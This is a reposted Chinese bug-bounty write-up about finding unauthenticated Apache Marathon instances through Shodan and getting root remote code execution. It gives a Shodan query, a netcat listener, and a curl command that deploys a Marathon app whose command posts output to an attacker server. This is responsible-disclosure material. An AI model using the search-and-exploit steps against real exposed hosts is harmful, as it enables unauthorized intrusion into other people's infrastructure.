专栏首页FreeBuf通过Shodan发现目标应用Marathon服务的RCE漏洞

通过Shodan发现目标应用Marathon服务的RCE漏洞

大家好,今天要和大家分享的是,作者在Shodan搜索中发现某应用系统Marathon服务的无需密码验证bug,进一步提权形成RCE漏洞。作为一名开发工程师,作者通过发现该漏洞得到的经验是:在做漏洞众测时,具备一定的开发背景经验非常重要,if you know how something works, you might be able to break it,只有了解目标应用的工作机制,才能有效地发现它存在的问题。最终作者凭借该漏洞获得厂商上万美金的奖励。

漏洞概要

某应用系统的容器编排平台Marathon服务实例的root权限RCE漏洞。Marathon是一个生产级别的容器(Docker)编排平台,用于中间层的数据中心操作系统(DC/OS)和Apache Mesos。Apache Mesos是一个分布式系统的管理软件,可对集群资源进行分配管理。Marathon算是一个基于Mesos的私有PaaS,它实现了Mesos的Framework,Marathon通过HAProxy实现服务发现和负载平衡,并为部署环境提供提供REST API服务、授权和SSL、配置约束等功能。

因此,由于Marathon是Apache mesos的一个编排平台,这意味着用户可以根据自己的需要安排要执行的任务,就像执行一条条简单的bash命令(类似于cronjobs这样的命令)。

漏洞复现

某天,当我在Shodan搜索东西时,由于之前的项目需要,我必须要自己架设一些Marathon/Mesos/Spark之类的实例,所以我就自然想到了通过Shodan来看看,有哪些大公司在生产环境中部署了Marathon服务,但却未做任何访问权限验证措施的。因此,我就按照“ssl:Redacted” “X-Marathon-Leader”这样的语法,在Shodan中进行查找,最后,还真发现了一些有意思的东西,如以下两个搜索结果:

它们是访问响应状态码为HTTP/1.1 200 OK的两个Marathon服务实例,虽然不能百分百肯定,但这种200响应码的Marathon服务,90%的可能说明无需任何密码验证即可访问。

于是,我立即按照Shodan中的显示结果,打开了目标应用的Marathon服务链接:https://XXX.XXX.XXX.XXX/ui/#/apps ,之后就真的无需密码验证,立马就进入了Marathon的主界面,如下:

这样一来,我就可以在我自己的服务器上来部署监听上述Marathon服务的实例了,通过此种方法,间接实例对Marathon服务的的远程代码执行(RCE),方法如下:

1、在我自己的服务器上设置对端口55555的监听:

#set your own server to wait the response    root@h0st:~# nc -lvvv 55555

2、用Curl命令创建一个 Marathon 服务运行实例,并通过该实例来执行cmd命令,其中的attacker_server即为我服务器的IP地址。具体命令如下:

# create a marathon application that will be execute any command that you want (in this case is /usr/bin/wget --user-agent=marathon-id --post-data=`id`)    # replace attacker_server with your listening server that you set up with netcat and the "rce-id" tag with your own custom tag, this is the Marathon application name    curl -sk -X POST -H "Content-type: application/json" https://XXX.XXX.XXX.XXX/v2/apps -d '{ "mem": 16, "id": "rce-id", "cmd": "/usr/bin/wget --user-agent=marathon-id --post-data=`id` attacker_server:55555"}'

3、再打开https://XXX.XXX.XXX.XXX/ui/#/apps 的Marathon服务管理界面,可以看到其中已经包含了一个名为“rce-id”的实例,这就是我们刚刚用curl命令创建的。在我的自架服务器中,稍等一会,就能看到XXX.XXX.XXX.XXX响应回来的cmd命令输出结果:

PS:测试过后,为了不对目标应用系统造成安全影响,我及时从Marathon界面中删除了创建的“rce-id”实例。整个过程中,就用到了netcat、curl命令和浏览器,另外,当然主要还是Shodan很给力了。

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • App自动化测试方案

    (1)测试用例覆盖率(覆盖率决定测试效率,选择合适用例,应约占功能用例集的20%~50%)

    测试开发社区
  • 推荐11-PHP用redis解决超卖的问题

    在商品秒杀活动中,比如商品库存只有100,但是在抢购活动中可能有200人同时抢购,这样就出现了并发,在100件商品下单完成库存为0了还有可能继续下单成功,就出现...

    猿哥
  • 聊聊nacos的HttpHealthCheckProcessor

    nacos-1.1.3/naming/src/main/java/com/alibaba/nacos/naming/healthcheck/HealthChec...

    codecraft
  • 腾讯作为ApacheCon2019主会唯一受邀中国企业亮相谈开源

    近日,一年一度的国际开源顶会ApacheCon 2019在美国举办,正值 Apache 软件基金会(Apache Software Foundation,AS...

    腾讯开源
  • flink 到底有什么优势值得大家这么热衷

    flink 通过实现了 Google Dataflow 流式计算模型实现了高吞吐、低延迟、高性能兼具实时流式计算框架。

    kk大数据
  • rocketmq-5:生产级rocketmq集群部署

    集群形式:2m-2s-2namesrv;2个master,2个slave,2个namesrv。

    千里行走
  • Android自动化环境搭建

    1.安装JDK,配置JDK环境变量。注意一下电脑是32位还是64位,需要与之对应。

    测试开发社区
  • 在Linux 上部署Jenkins和项目

    目前持续集成(CI)已成为当前许多软件开发团队在整个软件开发生命周期内侧重于保证代码质量的常见做法。它是一种实践,旨在缓和和稳固软件的构建过程。并且能够帮助您的...

    我被狗咬了
  • 网站渗透测试 apache nginx解析绕过上传漏洞

    在日常对客户网站进行渗透测试服务的时候,我们SINE安全经常遇到客户网站,app存在文件上传功能,程序员在设计开发代码的过程中都会对上传的文件类型,格式,后缀名...

    技术分享达人
  • Python测试开发-浅谈如何自动化生成测试脚本

    在右边,点击选择要关联的接口,区分是否要登录,如需登录,在选择接口栏下,点击登录按钮,即选择了该接口。如下图1所示:

    测试开发社区

扫码关注云+社区

领取腾讯云代金券